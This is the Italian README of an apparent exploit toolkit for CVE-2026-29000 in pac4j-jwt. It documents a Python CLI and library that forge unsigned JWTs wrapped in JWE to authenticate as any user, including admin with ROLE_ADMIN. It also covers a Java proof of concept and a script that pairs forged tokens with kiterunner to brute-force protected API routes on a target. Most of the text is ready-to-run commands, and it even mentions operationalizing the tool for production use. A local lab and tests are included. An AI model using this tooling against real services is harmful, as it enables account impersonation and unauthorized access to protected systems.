
Forge JWT avvolti in JWE non firmati per bypassare la verifica della firma di pac4j-jwt (CVE-2026-29000) e autenticarsi come qualsiasi utente; include CLI Python, libreria, PoC Java e scansione delle route con kiterunner.
Buildout completo: writeup, PoC Java in-process, CLI e libreria Python per il forge di token, test.
Vedi WRITEUP.md per i dettagli e i requisiti del PoC.
| Percorso | Descrizione |
|---|---|
WRITEUP.md | Riepilogo CVE, causa principale, versioni interessate, requisiti PoC, riferimenti |
RECON.md | Cosa inserire (scoperta dei claim, claim specifici dell'app) e dove inviare (header, cookie, individuazione degli endpoint protetti) |
OPERATIONALIZATION.md | Cosa serve per l'esecuzione in produzione: packaging, configurazione, sicurezza, automazione, osservabilità, manutenzione |
scripts/kr_scan.py | Forgia il token ed esegue kiterunner (~/bin/kr) con Authorization: Bearer per brute/scan delle route API protette |
examples/ | Script di esempio: forge_and_curl.sh, forge_and_kr.sh |
lab/ | App Flask di laboratorio (endpoint JWE + JWKS) per testare il forge dei token |
poc/ | PoC Java Maven (bypass in-process contro pac4j-jwt 6.0.3) |
token_forge/ | Pacchetto Python: forge di PlainJWT avvolto in JWE da PEM o URL JWKS |
tests/ | Test Pytest per claim, forge, chiavi, CLI |
requirements.txt | Dipendenze Python (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # oppure .venv\Scripts\activate su Windows
pip install -r requirements.txt
# Da PEM (genera con: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /percorso/di/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# Da URL JWKS
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# Claim aggiuntivi (per la scoperta specifica dell'app): --claim [email protected] --claim key=value
# Opzioni: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
Output: una singola riga (JWT forgiato); usa come Authorization: Bearer <token>.
Richiede kr in ~/bin/kr. Forgia il token ed esegui kr brute (o kr scan) con autenticazione Bearer per scoprire le route protette:
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
Vedi RECON.md §4 per le opzioni (--subject, --roles, --claim, -A, --scan, ecc.).
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# oppure con i warning come errori:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Oppure solo token (senza validazione in-process):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Con subject/roles personalizzati:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
Atteso: [BYPASS] Authenticated as: admin#override e i ruoli quando si esegue in-process.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # poi apri htmlcov/index.html
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
App Flask che accetta JWE e restituisce i claim (per testare forge + curl/kr).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
Vedi lab/README.md.